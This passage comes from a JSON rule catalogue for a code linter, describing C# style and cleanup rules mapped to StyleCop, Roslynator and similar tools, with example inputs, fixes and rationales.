          {
            "column": 19,
            "length": 19,
            "line": 10
          },
          {
            "column": 28,
            "length": 20,
            "line": 12
          },
          {
            "column": 16,
            "length": 11,
            "line": 14
          }
        ]
      },
      "fix": "unsafe",
      "id": "property-summary-omits-restricted-accessor",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1624",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1624.md"
        }
      ],
      "why": "The documentation is for the callers of the property, and a caller outside the type cannot use the restricted accessor, so the summary should describe only what is possible."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a field, property, method or event of the containing type that is used by its simple name. The fix writes `this.` before it.",
      "example": {
        "config": null,
        "fixed": "class Qualify\n{\n    int x;\n    static int s;\n    int M() => this.x + s;\n    int N() => this.x;\n    void P(int x) { x = 1; this.M(); }\n}\n",
        "input": "class Qualify\n{\n    int x;\n    static int s;\n    int M() => x + s;\n    int N() => this.x;\n    void P(int x) { x = 1; M(); }\n}\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 16,
            "length": 1,
            "line": 5
          },
          {
            "column": 28,
            "length": 1,
            "line": 7
          }
        ]
      },
      "fix": "safe",
      "id": "qualify-instance-members",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1101",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1101.md"
        }
      ],
      "why": "With `this.` it is clear at a glance that the name is a member and not a local, a parameter or a static, so a reader does not scroll up to see where a name comes from. It is a style that some projects choose and others do not."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `using` directive inside a namespace whose name is not written fully qualified, so that it resolves relative to the enclosing namespace. The fix writes the full name, unless it has type arguments.",
      "example": {
        "config": null,
        "fixed": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using A.C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go((int, int) t) {\n      this.Run();\n      var s = default(S);\n      var d = default(DateTime);\n      var g = (1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "input": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go(ValueTuple<int, int> t) {\n      base.Run();\n      var s = new S();\n      var d = new DateTime();\n      var g = ValueTuple.Create(1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "language": "csharp",
        "other_lines": [
          6,
          10,
          11,
          12,
          13,
          14,
          15,
          16,
          18,
          20
        ],
        "spans": [
          {
            "column": 3,
            "length": 10,
            "line": 4
          }
        ]
      },
      "fix": "safe",
      "id": "qualify-namespace-usings",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1135",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1135.md"
        }
      ],
      "why": "A relative name resolves to different things when a namespace with that name is added anywhere in the enclosing namespaces, so a new file can change what a `using` means without touching it.\n\nTo fix, write the full name."
    },
    {
      "category": "cleanup",
      "default_level": "off",
      "description": "Reports a `using` directive that nothing in the file needs. It is not reported in a file that has compiler errors or `#if` regions, because unresolved or inactive code could be the one using it. The fix removes the directive.",
      "fix": "safe",
      "id": "remove-unused-usings",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "An unused `using` adds noise at the top of the file, suggests a dependency that does not exist, and slows the compiler a little. Removing them keeps the list of what the file uses true."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an attribute list with several attributes: `[A, B]` is `[A]` and `[B]`. Lists on parameters and type parameters are not reported. The fix is not offered when the list has a comment in it.",
      "example": {
        "config": null,
        "fixed": "[assembly: A]\n[assembly: B]\nclass C {\n [A]\n [B]\n void F([A, B] int p) { }\n [A, // why\n  B]\n int x;\n Action a = delegate() { };\n}\n",
        "input": "[assembly: A, B]\nclass C {\n [A(), B]\n void F([A, B] int p) { }\n [A, // why\n  B]\n int x;\n Action a = delegate() { };\n}\n",
        "language": "csharp",
        "other_lines": [
          8
        ],
        "spans": [
          {
            "column": 15,
            "length": 1,
            "line": 1
          },
          {
            "column": 8,
            "length": 1,
            "line": 3
          },
          {
            "column": 3,
            "length": 1,
            "line": 6
          }
        ]
      },
      "fix": "safe",
      "id": "separate-attributes",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1133",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1133.md"
        }
      ],
      "why": "One attribute to a list gives each its own line, so a diff shows exactly the attribute that was added or removed and a comment can be put on one."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a declaration of several fields or events (`int a, b;`), which becomes `int a;` and `int b;`, each with the attributes, modifiers and type of the original. The fix is not offered when the declaration has a comment in it.",
      "example": {
        "config": null,
        "fixed": "class A {\n int a;\n int b;\n Nullable<int> n = (long)1 < 2 ? null : null;\n void F(object o, int i) {\n  var f = delegate (int x) { return x; };\n  var g = null == o || 1 < i;\n  var h = (float)1 + (double)2.5;\n }\n}\n",
        "input": "class A {\n int a, b;\n Nullable<int> n = (long)1 < 2 ? null : null;\n void F(object o, int i) {\n  var f = delegate (int x) { return x; };\n  var g = null == o || 1 < i;\n  var h = (float)1 + (double)2.5;\n }\n}\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 2,
            "length": 4,
            "line": 2
          }
        ]
      },
      "fix": "safe",
      "id": "separate-field-declarations",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1132",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1132.md"
        }
      ],
      "why": "One field to a declaration gives each its own line, so a change to one is one line in the diff and each can have its own comment and initializer."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a class or record that comes after the first one in a file: more parts of the first class (when it is partial) are not reported. Structs, interfaces, enums and delegates are not counted. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "using System.Diagnostics.CodeAnalysis;\n[assembly: SuppressMessage(\"C\", \"I\")]\n[assembly: SuppressMessage(\"C\", \"I\", Justification = \"<Pending>\")]\nnamespace N { class Other { void M() {\n#region R\n#endregion\n} } class B { } struct S { } namespace M { } }\n",
        "language": "csharp",
        "other_lines": [
          2,
          3,
          5
        ],
        "spans": [
          {
            "column": 11,
            "length": 1,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "single-class-per-file",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1402",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1402.md"
        }
      ],
      "why": "A file with one class is found by the name of the class, and a change to a class touches one file. A file with several is a place where a class has to be searched for.\n\nTo fix, move the class into a file of its own."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a namespace that comes after the first one in a file; nested namespaces are reported too. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "using System.Diagnostics.CodeAnalysis;\n[assembly: SuppressMessage(\"C\", \"I\")]\n[assembly: SuppressMessage(\"C\", \"I\", Justification = \"<Pending>\")]\nnamespace N { class Other { void M() {\n#region R\n#endregion\n} } class B { } struct S { } namespace M { } }\n",
        "language": "csharp",
        "other_lines": [
          2,
          3,
          5
        ],
        "spans": [
          {
            "column": 40,
            "length": 1,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "single-namespace-per-file",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1403",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1403.md"
        }
      ],
      "why": "A file with one namespace has one place where its names come from. Several namespaces in a file make the meaning of a name depend on where in the file it is read.\n\nTo fix, move the later namespaces into files of their own."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `SuppressMessage` attribute whose `Justification` is missing, `null`, empty, blank, or `\"<Pending>\"`. The attribute is matched by name. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "using System.Diagnostics.CodeAnalysis;\n[assembly: SuppressMessage(\"C\", \"I\")]\n[assembly: SuppressMessage(\"C\", \"I\", Justification = \"<Pending>\")]\nnamespace N { class Other { void M() {\n#region R\n#endregion\n} } class B { } struct S { } namespace M { } }\n",
        "language": "csharp",
        "other_lines": [
          5,
          7
        ],
        "spans": [
          {
            "column": 12,
            "length": 15,
            "line": 2
          },
          {
            "column": 38,
            "length": 27,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "suppression-justification",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1404",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1404.md"
        }
      ],
      "why": "A suppression hides a warning for good, and the reason is the only information a later reader has to judge whether it still holds. The text generated by tools (\"<Pending>\") is a placeholder that stays forever.\n\nTo fix, write why the warning does not apply."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a tuple type in the signature of a method, constructor, property, indexer, conversion operator or delegate whose elements have no names. Overrides and implementations of interface members are not reported, since their names are not the member's to choose. No fix.",
      "example": {
        "config": null,
        "fixed": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using A.C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go((int, int) t) {\n      this.Run();\n      var s = default(S);\n      var d = default(DateTime);\n      var g = (1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "input": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go(ValueTuple<int, int> t) {\n      base.Run();\n      var s = new S();\n      var d = new DateTime();\n      var g = ValueTuple.Create(1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "language": "csharp",
        "other_lines": [
          4,
          11,
          12,
          13,
          14,
          15,
          16,
          18,
          20
        ],
        "spans": [
          {
            "column": 18,
            "length": 3,
            "line": 6
          },
          {
            "column": 23,
            "length": 3,
            "line": 6
          },
          {
            "column": 13,
            "length": 3,
            "line": 10
          },
          {
            "column": 18,
            "length": 3,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "tuple-element-names-in-signatures",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1414",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1414.md"
        }
      ],
      "why": "A caller sees `(int, int)` in the signature and `Item1` and `Item2` in the result, so it has to read the body to know which is which. Names (`(int Width, int Height)`) make the signature the documentation.\n\nTo fix, name the elements."
    },
    {
      "category": "cleanup",
      "default_level": "off",
      "description": "Reports a value stored in a local variable that no path reads before it is overwritten or the variable goes out of scope (a dead store). Variables that are captured or whose address is taken are not checked. A variable that is never read at all is `unused-variable`'s.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A { int F() { int n = 0; n = G(); return n; } int H() { int m = 0; m = 1; m = G(); return m; } int G() => 1; }\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 25,
            "length": 5,
            "line": 1
          },
          {
            "column": 67,
            "length": 5,
            "line": 1
          },
          {
            "column": 74,
            "length": 5,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "unused-assignment",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/roslynator"
      ],
      "upstream": [
        {
          "id": "RCS1179",
          "partial": false,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers/RCS1179"
        },
        {
          "id": "RCS1212",
          "partial": false,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers/RCS1212"
        }
      ],
      "why": "A dead store is a computation whose result is thrown away. It is often the sign of a bug: the value was meant to be used and a later line forgot it, or an earlier branch was changed.\n\nTo fix, use the value, or delete the assignment (keep the right side if it has a side effect)."
    },
    {
      "category": "cleanup",
      "default_level": "warn",
      "description": "Reports a private field, method, property or event that no file of the project uses (needs `analysis: deep`). Members with attributes, overrides, interface implementations, `extern` and `partial` methods are not reported, and neither are the private methods named in `reflection_methods` of a type derived from one of `reflection_base_types` (a framework calls them by reflection; the `csharp/unity` preset lists Unity's).",
      "fix": null,
      "id": "unused-private-member",
      "languages": [
        "csharp"
      ],
      "options": [
        {
          "default": [],
          "description": "Names of base classes whose derived types are called by a framework                           through reflection (with `reflection_methods`). A base is matched by its                           simple name anywhere up the inheritance chain, also when the project                           does not load its assembly.",
          "name": "reflection_base_types",
          "type": "list"
        },
        {
          "default": [],
          "description": "Names of private methods that count as used in a type derived from                           one of `reflection_base_types`.",
          "name": "reflection_methods",
          "type": "list"
        }
      ],
      "presets": [
        "csharp/roslynator",
        "csharp/unity"
      ],
      "upstream": [
        {
          "id": "RCS1213",
          "partial": false,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers/RCS1213"
        }
      ],
      "why": "A private member that nothing uses is dead code that readers have to understand, tests and refactorings have to keep, and the compiler has to compile.\n\nTo fix, delete it."
    },
    {
      "category": "cleanup",
      "default_level": "off",
      "description": "Reports a local variable or catch variable that is never used, or that is only assigned constants and never read. Variables captured by lambdas or local functions count as used. The fix removes the declaration. Off by default, because the compiler already warns.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function F {\n    $unused = 1\n    $read = 2\n    \"$read\"\n    $member = @{}\n    $member.x = 1\n    $list = @(1)\n    $list[0] = 2\n    $a, $b = 1, 2\n    $script:s = 1\n    $ErrorActionPreference = 'Stop'\n    $count = 1\n    $count++\n    $block = 1\n    $f = { $block }\n    & $f\n    $Mixed = 1\n    \"$mixed\"\n    ${with space} = 1\n    ${with space}\n    $q = 1\n    $script:t = $q\n    $splat = @{}\n    Get-Item @splat\n    $u = 1\n}\n",
        "language": "powershell",
        "other_lines": [],
        "spans": [
          {
            "column": 5,
            "length": 7,
            "line": 2
          },
          {
            "column": 5,
            "length": 2,
            "line": 25
          }
        ]
      },
      "fix": "safe",
      "id": "unused-variable",
      "languages": [
        "csharp",
        "js",
        "powershell",
        "python",
        "shell"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/typescript-eslint-recommended",
        "js/biome-recommended",
        "js/oxlint",
        "powershell/psscriptanalyzer",
        "python/ruff",
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "no-unused-vars",
          "note": "the options keep their defaults; `/*exported*/` and `/*global*/` comments are not read; a JSX tag counts as a use",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-unused-vars"
        },
        {
          "id": "PSUseDeclaredVarsMoreThanAssignments",
          "note": "The shared scope model, where a name is looked up through the blocks around it, so a read in an inner block of a name the inner block assigns itself counts for the outer one; the module counts by name inside each block. A scope that reads `$PSBoundParameters` is not checked (a documented difference).",
          "partial": true,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/usedeclaredvarsmorethanassignments"
        },
        {
          "id": "F841",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F841/"
        },
        {
          "id": "SC2034",
          "note": "A name the whole file assigns and never reads; the file is one scope, `local` is not told apart.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2034"
        },
        {
          "id": "no-unused-vars",
          "note": "the options keep their defaults; `.d.ts` files and `declare module` blocks are not treated as used",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-unused-vars"
        }
      ],
      "why": "A variable that is never read is a leftover of changed code, or a result that was meant to be used, so the logic that should have used it is missing.\n\nTo fix, remove the variable, or use its value."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an anonymous method (`delegate (x) { ... }`) where a lambda can be written. The fix is offered when the anonymous method has a parameter list and no comment before its body; `delegate { }` without a parameter list converts to delegate types with any parameters, so it has no fix.",
      "example": {
        "config": null,
        "fixed": "class A {\n int a, b;\n Nullable<int> n = 1L < 2 ? null : null;\n void F(object o, int i) {\n  var f = (int x) => { return x; };\n  var g = o == null || i > 1;\n  var h = 1F + (double)2.5;\n }\n}\n",
        "input": "class A {\n int a, b;\n Nullable<int> n = (long)1 < 2 ? null : null;\n void F(object o, int i) {\n  var f = delegate (int x) { return x; };\n  var g = null == o || 1 < i;\n  var h = (float)1 + (double)2.5;\n }\n}\n",
        "language": "csharp",
        "other_lines": [
          3,
          6,
          7
        ],
        "spans": [
          {
            "column": 11,
            "length": 8,
            "line": 5
          }
        ]
      },
      "fix": "safe",
      "id": "use-lambda",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop",
        "csharp/roslynator"
      ],
      "upstream": [
        {
          "id": "RCS1048",
          "partial": false,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers/RCS1048"
        },
        {
          "id": "SA1130",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1130.md"
        }
      ],
      "why": "Lambdas are the short and usual form, and they bind the same way for the common cases. One form for all code avoids the extra keyword and makes the file read the same."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a numeric literal cast to `long`, `ulong`, `uint`, `float`, `double` or `decimal` when the literal's own type differs: `(long)1` is `1L`. Hexadecimal and binary literals cast to a floating-point type are not reported, since they have no suffix. The fix writes the suffix.",
      "example": {
        "config": null,
        "fixed": "class A {\n int a, b;\n Nullable<int> n = 1L < 2 ? null : null;\n void F(object o, int i) {\n  var f = (int x) => { return x; };\n  var g = o == null || i > 1;\n  var h = 1F + (double)2.5;\n }\n}\n",
        "input": "class A {\n int a, b;\n Nullable<int> n = (long)1 < 2 ? null : null;\n void F(object o, int i) {\n  var f = delegate (int x) { return x; };\n  var g = null == o || 1 < i;\n  var h = (float)1 + (double)2.5;\n }\n}\n",
        "language": "csharp",
        "other_lines": [
          5,
          6
        ],
        "spans": [
          {
            "column": 20,
            "length": 7,
            "line": 3
          },
          {
            "column": 11,
            "length": 8,
            "line": 7
          }
        ]
      },
      "fix": "safe",
      "id": "use-literal-suffix",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1139",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1139.md"
        }
      ],
      "why": "The suffix gives the literal its type directly. A cast does the same at run time or as a constant, and it hides that the literal is a number of another type."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `\"\"` (or `@\"\"`) where `string.Empty` can be used. It is not reported where a constant is required: `const`, attribute arguments, default parameter values, `case` labels and patterns.",
      "example": {
        "config": null,
        "fixed": "class A {\n const string C = \"\";\n string F(string s = \"\") {\n  if (s is \"\") { }\n  switch (s) { case \"\": break; }\n  return s ?? string.Empty;\n }\n [System.Obsolete(\"\")] void G() { }\n}\n",
        "input": "class A {\n const string C = \"\";\n string F(string s = \"\") {\n  if (s is \"\") { }\n  switch (s) { case \"\": break; }\n  return s ?? @\"\";\n }\n [System.Obsolete(\"\")] void G() { }\n}\n",
        "language": "csharp",
        "other_lines": [
          4
        ],
        "spans": [
          {
            "column": 15,
            "length": 3,
            "line": 6
          }
        ]
      },
      "fix": "safe",
      "id": "use-string-empty",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1122",
          "note": "Only the `string.Empty` direction; no option for the opposite style (RCS1078) because no preset needs it",
          "partial": true,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1122.md"
        }
      ],
      "why": "`string.Empty` states that the string is empty on purpose, while `\"\"` can be a value that was forgotten. It is a convention that some projects choose and others do not.\n\nTo fix, write `string.Empty`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `ValueTuple<int, int>` and `ValueTuple.Create(a, b)` where tuple syntax (`(int, int)` and `(a, b)`) can be used; not inside an expression tree. The fix is offered for types and `ValueTuple.Create` calls.",
      "example": {
        "config": null,
        "fixed": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using A.C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go((int, int) t) {\n      this.Run();\n      var s = default(S);\n      var d = default(DateTime);\n      var g = (1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "input": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go(ValueTuple<int, int> t) {\n      base.Run();\n      var s = new S();\n      var d = new DateTime();\n      var g = ValueTuple.Create(1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "language": "csharp",
        "other_lines": [
          4,
          6,
          10,
          12,
          13,
          14,
          16,
          18,
          20
        ],
        "spans": [
          {
            "column": 20,
            "length": 20,
            "line": 11
          },
          {
            "column": 15,
            "length": 17,
            "line": 15
          }
        ]
      },
      "fix": "safe",
      "id": "use-tuple-syntax",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1141",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1141.md"
        }
      ],
      "why": "The tuple syntax is the form of the language, short and the one that supports element names. `ValueTuple<...>` is the type it compiles to, so writing it out is noise."
    },
    {
      "category": "cleanup",
      "default_level": "off",
      "description": "Reports `using` directives of a file or namespace that are out of order: `System` first (`system_first`), names in alphabetical order (`compare`), and, with the options `static_position` and `alias_position` set to `after`, `using static` directives after the plain ones and aliases after those, each group sorted. `global using` and `using unsafe` stay where they are, and a list restarts at a directive that has a preprocessor directive in front of it (the fix leaves such lists alone). Comments on lines of their own stay where they are; a comment after a directive moves with it.",
      "example": {
        "config": null,
        "fixed": "using System;\nusing static Foo.Bar;\nusing Aa;\nusing X = Y.Z;\nusing Alpha;\nusing static System.Math;\nusing Zeta;\nusing aa;\nusing W = Y.Z;\n\nclass A { }\n",
        "input": "using Zeta;\nusing static Foo.Bar;\nusing Alpha;\nusing X = Y.Z;\nusing System;\nusing static System.Math;\nusing Aa;\nusing aa;\nusing W = Y.Z;\n\nclass A { }\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 11,
            "line": 1
          },
          {
            "column": 1,
            "length": 12,
            "line": 3
          },
          {
            "column": 1,
            "length": 13,
            "line": 5
          }
        ]
      },
      "fix": "safe",
      "id": "using-order",
      "languages": [
        "csharp"
      ],
      "options": [
        {
          "default": true,
          "description": "Put `System` and `System.*` before the other namespaces.",
          "name": "system_first",
          "type": "bool"
        },
        {
          "choices": [
            "ordinal",
            "culture",
            "culture_ignore_case"
          ],
          "default": "ordinal",
          "description": "`ordinal` compares code points; `culture` ignores case (and puts punctuation before digits before letters, a lower-case name before an upper-case one that is otherwise equal); `culture_ignore_case` leaves names that differ only in case in their order.",
          "name": "compare",
          "type": "string"
        },
        {
          "choices": [
            "keep",
            "after"
          ],
          "default": "keep",
          "description": "`after`: `using static` directives come after the plain usings, sorted (System ones first with `system_first`); `keep`: they stay where they are.",
          "name": "static_position",
          "type": "string"
        },
        {
          "choices": [
            "keep",
            "after"
          ],
          "default": "keep",
          "description": "`after`: alias directives come after all other usings, sorted by alias name; `keep`: they stay where they are.",
          "name": "alias_position",
          "type": "string"
        }
      ],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "dotnet_sort_system_directives_first",
          "partial": false,
          "tool": "dotnet-format-editorconfig",
          "url": "https://learn.microsoft.com/dotnet/fundamentals/code-analysis/style-rules/dotnet-formatting-options"
        },
        {
          "id": "RCS0015",
          "note": "no blank-line group handling",
          "partial": true,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers/RCS0015"
        },
        {
          "id": "RCS0037",
          "note": "no blank-line group handling",
          "partial": true,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers"
        },
        {
          "id": "RCS0038",
          "note": "no blank-line group handling",
          "partial": true,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers/RCS0038"
        },
        {
          "id": "SA1208",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1208.md"
        },
        {
          "id": "SA1209",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1209.md"
        },
        {
          "id": "SA1210",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1210.md"
        },
        {
          "id": "SA1211",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1211.md"
        },
        {
          "id": "SA1216",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1216.md"
        },
        {
          "id": "SA1217",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1217.md"
        }
      ],
      "why": "A sorted list is easy to scan for a namespace, and two developers who add a directive do not both put it at the end and conflict. The `System` first convention is that of the .NET libraries."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `using` directive outside the namespace declaration in a file that has one. No fix: moving a directive changes how names are looked up.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "using System;\nnamespace N\n{\n    using System.IO;\n}\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 13,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "using-placement",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1200",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1200.md"
        }
      ],
      "why": "A `using` inside the namespace is resolved relative to it, and one outside is global to the file. Projects choose one place for all files, so that the lookup of names does not depend on which file a directive is in."
    }
  ]
}
